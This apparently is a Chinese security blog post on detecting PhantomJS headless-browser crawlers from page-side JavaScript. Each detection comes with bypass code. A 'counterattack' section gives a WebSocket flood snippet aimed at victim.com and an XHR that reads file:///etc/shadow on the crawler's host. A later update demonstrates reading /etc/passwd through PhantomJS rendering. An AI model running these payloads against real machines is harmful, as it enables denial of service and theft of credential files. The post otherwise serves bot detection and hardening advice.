headless

0x00 前言

无头浏览器(Headless browser)指没有用户图形界面(GUI)的浏览器,目前广泛运用于 Web 爬虫和自动化测试中。
随着反爬虫和反反爬虫技术对抗的升级,越来越多的爬虫开始使用无头浏览器伪装正常用户绕过反爬策略。
我们如何区分这些无头浏览器和正常的浏览器呢?从 Server Side 分析用户行为进行检测是一劳永逸的方法,但成本和难度都很大。
不过通过无头浏览器的一些特性,我们也可以从 Client Side 找出一些不同来。
下面以最受欢迎的 PhantomJS(2.x 版本)为例,介绍一些识别方法,对于其他的无头浏览器如 SlimerJS 这些方法也可以参考。

0x01 HTTP Header

PhantomJS 2.1.1

  1. GET / HTTP/1.1
  2. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  3. User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
  4. Connection: Keep-Alive
  5. Accept-Encoding: gzip, deflate
  6. Accept-Language: zh-CN,en,*
  7. Host: test.com

Chrome 57

  1. GET / HTTP/1.1
  2. Host: test.com
  3. Connection: keep-alive
  4. Upgrade-Insecure-Requests: 1
  5. User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36
  6. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
  7. DNT: 1
  8. Accept-Encoding: gzip, deflate, sdch
  9. Accept-Language: zh-CN,zh;q=0.8

IE 11.0.40

  1. GET / HTTP/1.1
  2. Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/xaml+xml, application/x-ms-xbap, */*
  3. Accept-Language: zh-CN
  4. User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
  5. Accept-Encoding: gzip, deflate
  6. Host: test.com
  7. Connection: Keep-Alive

Firefox 52.0.2

  1. GET / HTTP/1.1
  2. Host: test.com
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: en-US,en;q=0.5
  6. Accept-Encoding: gzip, deflate
  7. Connection: keep-alive
  8. Upgrade-Insecure-Requests: 1

可以看出 PhantomJS 的请求头和其他浏览器还是有一些区别的:

  • Host 头在最后
  • Connection 头的值 Keep-Alive 是大小写混合的
  • User-Agent 头里包含 PhantomJS 关键字

通过检查 User-Agent,我们可能会识别出一部分 PhantomJS 浏览器:

  1. if (/PhantomJS/.test(navigator.userAgent)) {
  2. console.log("PhantomJS environment detected.");
  3. } else {
  4. console.log("PhantomJS environment not detected.");
  5. }

但是显然只需重写一下就看不出破绽了:

  1. page.settings.userAgent = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.120 Safari/537.36';

0x02 浏览器插件

大部分浏览器甚至移动端的浏览器都会默认安装至少一个插件,比如 Chrome 浏览器就会安装 PDF ViewerShockwave Flash 等插件,这些插件用 navigator.plugins 可以看到。
而 PhantomJS 没有实现任何插件功能,也没有提供方法去增加插件。所以我们可以通过检查浏览器的插件数量来猜测访问网站的是不是无头浏览器:

  1. if (!(navigator.plugins instanceof PluginArray) || navigator.plugins.length == 0) {
  2. console.log("PhantomJS environment detected.");
  3. } else {
  4. console.log("PhantomJS environment not detected.");
  5. }

不过绕过检查的方法也很简单,在页面加载之前修改 navigator 对象就行了:

  1. page.onInitialized = function () {
  2. page.evaluate(function () {
  3. var oldNavigator = navigator;
  4. var oldPlugins = oldNavigator.plugins;
  5. var plugins = {};
  6. plugins.length = 1;
  7. plugins.__proto__ = oldPlugins.__proto__;
  8. window.navigator = {plugins: plugins};
  9. window.navigator.__proto__ = oldNavigator.__proto__;
  10. });
  11. };

另外也可以定制自己的 PhantomJS,其实并不复杂,因为 PhantomJS 是基于 Qt 框架的,而 Qt 已经提供了原生的 API 供实现插件。

0x03 操作用时

一般用无头浏览器的爬虫为了防止阻塞都会自动关闭页面上的对话框,但它关闭的速度肯定比正常人手动关闭快很多。
所以我们可以通过对话框被关闭的用时来判断对面是否是机器人:

  1. var start = Date.now();
  2. alert('Press OK');
  3. var elapse = Date.now() - start;
  4. if (elapse < 15) {
  5. console.log("PhantomJS environment detected.");
  6. } else {
  7. console.log("PhantomJS environment not detected.");
  8. }

如果对话框在 15 毫秒内就被关闭,很有可能是无头浏览器在控制。
但是这种方法有个弊端——会打扰正常用户,而且只需增加一些延时就可绕过:

  1. page.onAlert = page.onConfirm = page.onPrompt = function () {
  2. for (var i = 0; i < 1e8; i++) {
  3. }
  4. return "a";
  5. };

0x04 窗口特征

无头浏览器因为没有 GUI ,所以窗口大小是不存在的,借此我们可以做一些判断。而且
PhantomJS 不支持 outerWith 或 outerHeight

  1. if (window.outerWidth === 0 || window.outerHeight === 0){
  2. console.log("PhantomJS environment detected.");
  3. }

不过这样在 Chrome 里会有一个 bug,当页面在隐藏选项卡中加载,例如从上一个会话恢复时,页面的 outerWidthouterHeight 也会为 0。

另外可以检查键盘、鼠标、触摸屏交互,通过 onmouseoveronkeydown 等函数来判断对方是不是真实用户。
但是 PhantomJS 也提供了 sendEvent 这个函数向页面发送事件
还可以使用 jQuery 的 trigger() 主动触发事件:

  1. page.includeJs("http://ajax.googleapis.com/ajax/libs/jquery/1.6.1/jquery.min.js", function(){
  2. // do anything
  3. });
  4. $('#some_element').trigger('hover');

0x05 全局属性

PhantomJS 提供了两个全局属性:window.callPhantomwindow._phantom

  1. if (window.callPhantom || window._phantom) {
  2. console.log("PhantomJS environment detected.");
  3. } else {
  4. console.log("PhantomJS environment not detected.");
  5. }

不过这两个是实验性功能,未来很可能会被替换。
当然也可以通过重写绕过:

  1. page.onInitialized = function () {
  2. page.evaluate(function () {
  3. var p = window.callPhantom;
  4. delete window._phantom;
  5. delete window.callPhantom;
  6. Object.defineProperty(window, "myCallPhantom", {
  7. get: function () {
  8. return p;
  9. },
  10. set: function () {
  11. }, enumerable: false});
  12. setTimeout(function () {
  13. window.myCallPhantom();
  14. }, 1000);
  15. });
  16. };
  17. page.onCallback = function (obj) {
  18. console.log('profit!');
  19. };

其他一些 JavaScript 引擎的独有全局属性:

  1. window.Buffer //nodejs
  2. window.emit //couchjs
  3. window.spawn //rhino
  4. window.webdriver //selenium
  5. window.domAutomation (or window.domAutomationController) //chromium based automation driver

0x06 HTML5 和 JavaScript 新特性

PhantomJS 使用的 Webkit 引擎相对较旧,这意味着很多新浏览器才支持的特性可能在 PhantomJS 中缺失。
比如 HTML5 中的:

  • WebAudio
  • WebRTC
  • WebSocket
  • WebGL
  • FileAPI
  • CSS 3
  • Device APIs
  • BatteryManager

另外 Javascript 引擎的一些原生方法和属性在 PhantomJS 中有些不一样或者不存在。
比如在 PhantomJS 1.x 及以下版本中,Function.prototype.bind 这个方法是没有的:

  1. (function () {
  2. if (!Function.prototype.bind) {
  3. console.log("PhantomJS environment detected. #1");
  4. return;
  5. }
  6. if (Function.prototype.bind.toString().replace(/bind/g, 'Error') != Error.toString()) {
  7. console.log("PhantomJS environment detected. #2");
  8. return;
  9. }
  10. if (Function.prototype.toString.toString().replace(/toString/g, 'Error') != Error.toString()) {
  11. console.log("PhantomJS environment detected. #3");
  12. return;
  13. }
  14. console.log("PhantomJS environment not detected.");
  15. })();

绕过方法比较复杂,有兴趣的可以看看 spoofFunctionBind.js

0x07 堆栈跟踪

这是最有用的识别方法。因为开发者不可能花费大量精力修改 Webkit 的 JavaScript 引擎核心代码,使 PhantomJS 的堆栈跟踪信息和真实浏览器一样。
当 PhantomJS 的 evaluate 方法报错时,它会产生独特的堆栈跟踪信息:

  1. var err;
  2. try {
  3. null[0]();
  4. } catch (e) {
  5. err = e;
  6. }
  7. if (err.stack.indexOf('phantomjs') > -1) {
  8. console.log("PhantomJS environment detected.");
  9. } else {
  10. console.log("PhantomJS environment is not detected.");
  11. }

那么如何让 PhantomJS 主动用 evaluate 执行这样的代码呢?我们可以设置蜜罐。
比如重写常见的 DOM API 函数,当 PhantomJS 调用到了被我们重写的 DOM 函数时,
它就会执行我们的代码:

  1. Document.prototype.querySelectorAll = Element.prototype.querySelectorAll = function () {
  2. var err;
  3. try {
  4. null[0](); // Force throwing.
  5. } catch (e) {
  6. err = e;
  7. }
  8. if (err.stack.indexOf('phantomjs') > -1) {
  9. console.log("PhantomJS environment detected.");
  10. } else {
  11. console.log("PhantomJS environment is not detected.");
  12. }
  13. };

上面的这段代码重写了 document.querySelectorAll 函数,如果爬虫调用 PhantomJS 时含有这样的代码:

  1. page.onLoadFinished = function () {
  2. page.evaluate(function () {
  3. var divs = document.querySelectorAll('div');
  4. // do anything
  5. });
  6. };

就会用 evaluate 执行被我们重写过的 querySelectorAll,从而被检测出来。

0x08 反击

如果检测出对方使用了 PhantomJS,除了封他 IP,还有什么办法惩罚他呢?
由于 PhantomJS 2.x 已经支持 WebSocket,我们可以给他来个 WebSocket DDos 尝尝:

  1. (function () {
  2. for (var i = 0; i < 8000; i++) {
  3. new WebSocket('ws://victim.com/chat');
  4. }
  5. })();

另外,为了跨域请求的方便,很多 PhantomJS 爬虫会关闭 web-security 这个选项。
但关闭这个选项后,连本地的 file 域都可以访问了:

  1. var xhr = new XMLHttpRequest();
  2. xhr.open('GET', 'file:///etc/shadow', false);
  3. // xhr.open('GET', 'file:///C:/Windows/System32/drivers/etc/hosts', false);
  4. xhr.onload = function () {
  5. console.log(xhr.responseText);
  6. };
  7. xhr.onerror = function (e) {
  8. console.log('Error: ' + JSON.stringify(e));
  9. };
  10. xhr.send();

如果权限够大,我们甚至可以读取运行 PhantomJS 的机器的密码。

根据 PhantomJS 开发组的计划,WebRTC 将会被支持,到时候我们还能探测他的真实 IP和扫描他的内网。

0x09 总结

文中我们介绍了一些在 Client Side 检查 PhantomJS 的方法,对于一般的 PhantomJS 爬虫具有不错的识别效果。
当然,我们不能完全依赖于这些检测手段。对于有经验的爬虫作者,他们还是能通过 Hook JavaScript 代码绕过 Client Side 的检查。比如,重写 indexOf 函数,使 err.stack.indexOf('phantomjs') 恒为 -1,从而绕过我们对堆栈跟踪的检查。

在安全方面,当我们在生产环境使用无头浏览器时,应注意环境隔离,使用低权限运行,设置 --web-security=true

duck

0x10 参考


Update 2017/04/013

Chrome 59 将支持 headless 模式。PhantomJS 的一个核心开发者因此宣布退出 Phantom 的开发

I want to make an announcement.

Headless Chrome is coming -
https://www.chromestatus.com/features/5678767817097216
(https://news.ycombinator.com/item?id=14101233)

I think people will switch to it, eventually. Chrome is faster and
more stable than PhantomJS. And it doesn't eat memory like crazy.

I don't see any future in developing PhantomJS. Developing PhantomJS 2
and 2.5 as a single developer is a bloody hell. Even with recently
released 2.5 Beta version with new and shiny QtWebKit, I can't
physically support all 3 platforms at once (I even bought the Mac for
that!). We have no support. From now, I am stepping down as
maintainer. If someone wants to continue - feel free to reach me.

I want to give credits to Ariya, James and Ivan! It was the pleasure
to work with you. Cheers! I also want to say thanks to all people who
supported and tried to help us. Thank you!

以 Chrome 的市场占有率和开发活跃度来看,未来 Headless Chrome 可能会取代 PhantomJS 成为主流。


Update 2017/07/03

看到一篇利用 PhantomJS 下载图像功能实现本地文件读取和 SSRF 的文章:Escalating XSS in PhantomJS Image Rendering to SSRF/Local-File Read
其实和之前讨论的攻击 PhantomJS 爬虫的方法是一样的,当然前提是服务端使用了 --web-security=false

(感觉实战中很少能遇到,可能以后 CTF 会出这种题目……)

我写了个测试的页面,有兴趣的小伙伴可以试试:

phantomjs --web-security=no capture.js https://0x0d.im/lab/phantomjs/ssrf.html

其中 capture.js 是 PhantomJS 自带的网页截图功能 Screen Capture,示例代码如下:

  1. "use strict";
  2. var page = require('webpage').create(),
  3. system = require('system'),
  4. t, address;
  5. if (system.args.length === 1) {
  6. console.log('Usage: capture.js <some URL>');
  7. phantom.exit(1);
  8. } else {
  9. address = system.args[1];
  10. page.open(address, function (status) {
  11. if (status !== 'success') {
  12. console.log('FAIL to load the address');
  13. } else {
  14. page.render("test.png");
  15. }
  16. phantom.exit();
  17. });
  18. }

执行后会生成名为 test.png 的图片,内容就是 /etc/passwd

test.png